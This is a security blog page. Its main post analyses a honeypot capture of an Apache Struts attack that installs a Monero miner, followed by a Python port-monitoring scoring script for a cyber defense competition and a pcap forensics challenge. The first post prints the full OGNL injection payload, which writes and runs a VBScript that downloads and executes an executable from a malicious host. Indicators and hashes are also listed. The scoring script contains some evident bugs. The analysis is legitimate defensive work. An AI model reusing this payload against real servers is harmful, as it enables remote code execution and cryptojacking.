Saturday, December 8, 2018

Monero Mining Malware from Honeypot

Recently in a honeypot, I observed that the miscreants were looking for a vulnerability in an Apache Struts server running on a Windows Server.  Below is the GET request that was captured:




SrcIP:182.247.95.237 
HTTPCode:200 
HTTPVerb:GET 
URI:/index.do 
UserAgent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 
Headers:
Cache-Control:no-cache,
Connection:Keep-Alive,
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/5.vbs&
echo Set Shell = CreateObject("Wscript.Shell") >>C:/5.vbs&
echo Post.Open "GET","http://a46.bulehero.in/download.exe",0 >>C:/5.vbs&echo Post.Send() >>C:/5.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/5.vbs&echo aGet.Mode = 3 >>C:/5.vbs&echo aGet.Type = 1 >>C:/5.vbs&echo aGet.Open() >>C:/5.vbs&echo aGet.Write(Post.responseBody) >>C:/5.vbs&echo aGet.SaveToFile "C:/Windows/temp/download.exe",2 >>C:/5.vbs&echo wscript.sleep 10000>>C:/5.vbs&echo Shell.Run ("C:/Windows/temp/download.exe")>>C:/5.vbs&C:/5.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())},

Accept:text/html, application/xhtml+xml, */*,
Accept-Encoding:gbk, GB2312,
Accept-Language:zh-cn,
Host:x.x.x.x:8000


As you can see above a file is downloaded from a46.bulehero.in.  The domain registration is through GoDaddy.  Below is the whois record that I found.  I find it fascinating that the Organization and State/Province is probably random keystrokes from a bot.




Domain Name BULEHERO.IN
Registry Domain ID D414400000006028492-AFIN
Registrar URL www.godaddy.com
Updated Date 2018-11-01T10:56:24Z
Creation Date 2018-05-09T11:12:14Z
Registry Expiry Date 2020-05-09T11:12:14Z
Registrar GoDaddy.com, LLC
Registrar IANA ID 146
Registrar Abuse Contact Email abuse@godaddy.com
Registrar Abuse Contact Phone +1.4806242505
...
Registrant Organization zanwu
Registrant State/Province uysf
Registrant Country AZ


Other subdomains that are associated with this malware that I have found with the associated IP Address and organization that they are associated with:



a45.bulehero.in - 139.162.27.37 - Linode LLC in Singapore
a46.bulehero.in - 139.162.74.150 - Linode LLC in US
a47.bulehero.in - 23.239.7.210 - Linode LLC in US
a48.bulehero.in - 139.162.74.150 - Linode LLC in US
a88.bulehero.in - 139.162.71.92 - Linode LLC in US
support@linode.com

Now going back to the download.exe file that is downloaded.  Evaluating the file we find that it is a Windows x86 binary.


Using the command "upx -d" on the file it decompresses it so that we can look at the binary.  I copied the original file of download.exe to original_download.exe becasue the upx -d command will overwrite the file in-place with the decompressed file.

Looking at the code you can tell that it has backdoor capabilities after it is installed, has the capability to send emails, and much more.  Within the strings of the output you can see that it downloads another file as shown below:


I then downloaded this file from the location and analyzed it further.  This malware was also UPX compressed.  I decompressed the file and conducted a basic analysis.  You can see that it contains backdoor functionality, mimikatz, a list of passwords for brute forcing, and more.  Below is filtered by the string "http" using grep -i.


We find another domain that is involved called heroherohero.info.  That is another rabbit hole that can be investigated.  The part of the binary that caught my attention was the Cfg.ini file.  This configuration file contains information to run a mineXMR bot.  The address of the wallet is in the screenshot below:


They are utilizing the Singapore MineXMR location.  If you lookup the address you can see the following screenshot:


This wallet is probably the benefits of infected computers.  At the bottom you can see that 123 XMR is the total paid which amounts to $46 each XMR for $5,658.  This is not much for the expense of others.

Here are the hashes of the malware that I collected from this analysis:

789072c3f9fe20c7aa691bb23fbfb0ce4239c659889bb1f19f9d81b8493dc117  Cfg.ini
b1017cb86875e7c4a6037db439769650384bca5439d9426cca844038a38c3f00  download.exe
bb2d54d74274dcc822481650d7025b06d0523b473b8f1b82fbd0efe67f196550  original_download.exe
06408e8b2d311cc6f7e85386f3acc4f3b3b8d7e4b4fbec27c49803ce66b2852e  original_unloadcur.exe
a7978d10e171d997a448214edca68e6c22980c0908183df59884f97ab7079322  unloadcur.exe

Enjoy...

Saturday, December 1, 2018

Simple Monitor / Scoring Engine in Python3

The below script was built to monitor IP Addresses and Ports that are open on a network.  Below is more of the dialogue of why it was created and what it does.

Almost 2 years ago I was asked to create a simple script that would monitor if a set of ports were open or closed.  Then if the ports were open provide points for them that would add up for a team score.  This script was used for the LDSBC High School Cyber Defense competition to determine if a team had maintained there systems online as they protected them from a red team and hardened them. Here is what I created located on my github.

I was asked for the same script that I used 2 years ago and found out they have used it a couple of times since that time.  The below script is a much improved scoring engine which the LDSBC is going to use in the High School Cyber Defense competition coming up December 7th.

After running the script I found the following use for it.  I have been in situations where a system administrator or myself has turned off a monitoring system like Nagios due to the amount of alarms that are firing during an outage.  The below script could be used during a timeframe like that to monitor systems that you are working to fix or verify they are working as you are in the middle of an outage.

The script is built to allow you to launch it, configure teams or vlans.  Then after configuring notes about a team or a vlan, configure the IPs and ports you would like monitored.  After launching it provides a status every 10 minutes of the IPs and ports that are UP or DOWN.  The score could be evaluated as the consistency of a system being up.  An audit log is also generated that could be viewed to determine the UP or DOWN time of systems.

Currently it is tuned to allow up to 6 teams/vlans with up-to 20 IPs/Ports per team or a total of 120 IPs/Ports to be monitored within a 10 minute period of time.  This also saves a file that could be restored every 10 minutes during the monitoring process.  This script also allows you to save a configuration that you create.




#!/usr/bin/python3
# Created Nov. 30, 2018
# Updated Dec. 11, 2018


import socket
import datetime
import time

class Teams:
    def __init__(self):
        self.teamName = []

    def addTeam(self, name):
        self.teamName.append(name)
        return self

class Team:
    def __init__(self, name, description, location, score):
        self.name = name
        self.description = description
        self.location = location
        self.score = int(score)



class Ports:
    def __init__(self):
        self.monitoredPorts = []

    def addPort(self, portInfo):
        self.monitoredPorts.append(portInfo)
        return self

class Port:
    def __init__(self, teamName, ip, port, description):
        self.teamName = teamName
        self.ip = ip
        self.port = port
        self.description = description


def modifyPort(poInfo, teInfo):
    while True:
        print('')
        print('')
        print('')
        print('Port Modification')
        print('***************************************************************************************')
        tInfo = "Name:" + str(teInfo.name)
        tInfo += "\tDesc: " + str(teInfo.description)
        tInfo += "\tLocation: " + str(teInfo.location)
        tInfo += "\tScore: " + str(teInfo.score)
        print(tInfo)
        print("")
        pInfo = "Port Desc:" + str(poInfo.description)
        pInfo += "\tIP:" + str(poInfo.ip)
        pInfo += "\tPort:" + str(poInfo.port)
        print('***************************************************************************************')
        print("")
        print("D. Modify IP/Port Description")
        print("I. Modify IP")
        print("P. Modify Port")
        print("")
        print("R. Refresh")
        print("Q. Quit to IP/Port Setup")
        print("")
        selectMod = input("> ")
        if selectMod == 'D' or selectPort == 'd':
            newDesc = input("Change IP/Port description to: ")
            poInfo.description = newDesc.strip().replace('\n','').replace('\r','')
        elif selectMod == 'I' or selectMod == 'i':
            newIP = input("Change IP to: ")
            poInfo.ip = newIP.strip().replace('\n','').replace('\r','')
        elif selectMod == 'P' or selectMod == 'p':
            newPort = input("Change Port to: ")
            poInfo.port = int(newPort.strip().replace('\n','').replace('\r',''))
        elif selectPort == 'Q' or selectPort == 'q':
            return
        else:
            continue
    return


def setPorts(teamInfo, nPorts):
    while True:
        print('')
        print('')
        print('')
        print('IP/Port Setup')
        print('***************************************************************************************')
        tInfo = "Name:" + str(teamInfo.name)
        tInfo += "\tDesc: " + str(teamInfo.description)
        tInfo += "\tLocation: " + str(teamInfo.location)
        tInfo += "\tScore: " + str(teamInfo.score)
        print(tInfo)
        print('***************************************************************************************')
        portNumber = 1
        portNumberSet = []
        for port in nPorts.monitoredPorts:
            if port.teamName == teamInfo.name:
                # Check if IP is in correct format
                # Check if Port is in correct format
                print(str(portNumber) + ". " + str(port.description) + "\t\tIP:" + str(port.ip) + "\t\tPort:" + str(port.port))
                portNumberSet.append(portNumber)
            portNumber += 1
        if len(nPorts.monitoredPorts) == 0:
            print("No ports have been configured.")
        if len(nPorts.monitoredPorts) > 0:
            print("** To modify a monitored port above select the number in the front.")
        print("")
        print('A. Add Port')
        print('')
        print('N. Modify Team Name')
        print('D. Modify Team Description')
        print('L. Modify Team Location')
        print('S. Modify Team Score')
        print('')
        print('Q. Quit to Main')
        print
        selectPort = input('> ')
        try:
            numbPort = int(selectPort)
            if len(nPorts.monitoredPorts) >= numbPort and numbPort in portNumberSet:
                modifyPort(nPorts.monitoredPorts[numb-1], teamInfo)
        except:
            if selectPort == 'A' or selectPort == 'a':
                portDescription = input("Input Description of Monitored Port: ")
                portDescription = portDescription.strip().replace('\n','').replace('\r','')
                portIP = input("Input IP to Monitor for " + str(teamInfo.name) + ": ")
                portIP = portIP.strip().replace('\n','').replace('\r','')
                portPort = input("Input Port to Monitor: ")
                portPort = int(portPort.strip().replace('\n','').replace('\r',''))
                nPorts.addPort(Port(teamInfo.name, portIP, portPort, portDescription))
            elif selectPort == 'N' or selectPort == 'n':
                newName = input("Change team name to: ")
                newName = newName.strip().replace('\n','').replace('\r','')
                teamInfo.name = newName
            elif selectPort == 'D' or selectPort == 'd':
                newDesc = input("Change team description to: ")
                newDesc = newDesc.strip().replace('\n','').replace('\r','')
                teamInfo.description = newDesc
            elif selectPort == 'L' or selectPort == 'l':
                newLoc = input("Change team location to: ")
                newLoc = newLoc.strip().replace('\n','').replace('\r','')
                teamInfo.location = newLoc
            elif selectPort == 'S' or selectPort == 's':
                newScore = input("Change team score from " + str(teamInfo.score) + " to: ")
                newScore = newScore.strip().replace('\n','').replace('\r','')
                teamInfo.score = int(newScore)
            elif selectPort == 'Q' or selectPort == 'q':
                main()
            else:
                continue
    return




def saveTeam(nTeams, nPorts):
    print('')
    fileName = input('Input file to save to, contents will be overwritten (i.e. savedTeam.txt): ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, using savedTeam.txt')
        fileName = 'savedTeam.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
        f.write(outputTeam)
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
        f.write(outputPort)
    f.close()
    return



def saveTeamMonitoring(nTeams, nPorts):
    now = datetime.datetime.now()
    timeInfo = now.strftime("_%m_%d_%YT%H_%M")
    fileName = 'monitoringSaveTeam' + timeInfo + '.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
        f.write(outputTeam)
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
        f.write(outputPort)
    f.close()
    print('Saved current team information to the file "' + fileName + '"')
    print('If you stop the program you can restore this file with the scores at this point-in-time.')
    return






def loadTeam(nTeams, nPorts):
    print('')
    fileName = input('Input file name to load: ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, trying savedTeam.txt')
        fileName = 'savedTeam.txt'
    try:
        f = open(fileName, 'r')
        for line in f:
            column = line.split('|')
            if column[0] == 'TEAM':
                nTeams.addTeam(Team(column[1], column[2], column[3], column[4].strip()))
            elif column[0] == 'PORT':
                nPorts.addPort(Port(column[1], column[2], column[3], column[4].strip()))
            else:
                print('Invalid line format found in ' + fileName + '. You will need to manually correct it.')
        f.close()
        print("")
        print("** Note: The score was loaded with the restored information...")
        print("")
    except:
        print("")
        print('Sorry either the file does not exist or problems loading the file exist.')
    print("")
    return





def monitorMode(currentTeams, currentPorts):
    while True:
        print('')
        print('')
        print('')
        print('Monitoring Mode - Will cylcle through all ports every 10 minutes...')
        print('**Note: If the cycle time is greater than 600 seconds not enough time is allowed.')
        print('***************************************************************************************')
        print('Current Team Scores')
        for team in currentTeams.teamName:
            teamInfo = str(team.name)
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tScore: " + str(team.score)
            print(teamInfo)
        print('***************************************************************************************')
        fAudit = open('auditLog.txt', 'a')
        timeSleep = 0
        totalSleep = 0
        beforeCycle = time.time()
        for port in currentPorts.monitoredPorts:
            ip = port.ip
            currentPort = int(port.port)
            beforeDate = datetime.datetime.now()
            beforeConnection = time.time()
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            result = s.connect_ex((ip,currentPort))
            s.close()
            if result == 0:
                for team in currentTeams.teamName:
                    if team.name == port.teamName:
                        # For each successful connection it provides 5 points
                        team.score = team.score + 5
                        teamScore = team.score
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "UP|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += str(teamScore)
                print(infoAudit)
                infoAudit += "\r\n"
                fAudit.write(infoAudit)
            else:
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "DOWN|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += "|"
                print(infoAudit)
                infoAudit += "\r\n"
                fAudit.write(infoAudit)
            afterConnection = time.time()
            # Sleep for a total of 5 seconds per connection whether failed or successful
            timeSleep = 5 - (afterConnection - beforeConnection)
            #print("Time Elapsed: " + str(timeSleep))
            time.sleep(timeSleep)
            totalSleep += 5
        fAudit.close()
        print("")
        saveTeamMonitoring(currentTeams, currentPorts)
        # Setup to monitor all connections every 10 minutes (6 teams 20 ports = 120 ports * 5 seconds = 600 seconds)
        # 3 hours / 10 minutes = 18 cycles
        afterCycle = time.time()
        totalCycle = afterCycle - beforeCycle
        print("")
        print("Cycle took " + str(totalCycle) + " seconds.")
        totalTimeSleep = 600 - (afterCycle - beforeCycle)
        print("Sleeping for " + str(totalTimeSleep) + " seconds until the next cycle.")
        time.sleep(totalTimeSleep)
        totalSleep = 0
    return


def main(newTeams, newPorts):
    while True:
        print('')
        print('')
        print('')
        print('Main Menu')
        print('***************************************************************************************')
        teamNumber = 1
        for team in newTeams.teamName:
            portCount = 0
            for port in newPorts.monitoredPorts:
                if port.teamName == team.name:
                    portCount += 1
            teamInfo = str(teamNumber) + ". "
            teamInfo += str(team.name)
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tPorts Configured: " + str(portCount)
            teamInfo += "\tScore: " + str(team.score)
            print(teamInfo)
            teamNumber += 1
        if len(newTeams.teamName) == 0:
            print("No teams have been configured.")
        if len(newTeams.teamName) > 0:
            print("** To modify a team select the number in the front.")
        print('')
        print('A. Add Team')
        print('L. Load Team Info from File')
        print('S. Save Team Info to File')
        print('')
        print('Type "Monitor" to enter monitoring mode based on the configuration above')
        print('')
        print('R. Refresh')
        print('Q. Quit')
        print("")
        selection = input('> ')
        try:
            numb = int(selection)
            if len(newTeams.teamName) >= numb:
                setPorts(newTeams.teamName[numb-1], newPorts)
        except:
            if selection == 'A' or selection == 'a':
                teamName = input("Input team name: ")
                teamDescription = input("Input team description: ")
                teamLocation = input("Input team location: ")
                newTeams.addTeam(Team(teamName, teamDescription, teamLocation, 0))
            elif selection == 'L' or selection == 'l':
                loadTeam(newTeams, newPorts)
            elif selection == 'S' or selection == 's':
                saveTeam(newTeams, newPorts)
            elif selection == 'Q' or selection == 'q':
                exit()
            elif selection == 'monitor' or selection == 'Monitor' or selection == 'MONITOR':
                monitorMode(newTeams, newPorts)
            else:
                continue
    return



listTeams = Teams()
listPorts = Ports()
main(listTeams, listPorts)




pcap Challenge from myhouse7

Description of the pcap Challenge


This pcap challenge was created from an attacker scanning, penetrating and pivoting through the myhouse7 virtual machine.  The owners of the network are aware of the attack due to detecting it in the logs.  They are not concerned about the information that may have been compromised but would like to learn from the attack.  Download the pcap Challenge from my google drive at this link.

Your Task


1. Draw a network diagram of the systems that were involved in the attack.  The diagram should include all of the IP Addresses separated by networks involved.

2. Put together a timeline of the major events.

2. Identify the tools that were used by the attacker.

3. Identify what was used by the attacker to access and/or gain control of the servers.

4. What scripts or evidence did the attacker leave behind that the owners could go and evaluate?

5. Did the attacker download an encrypted file from a file server?

Download Location


Download the pcap Challenge from my google drive at this link.

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...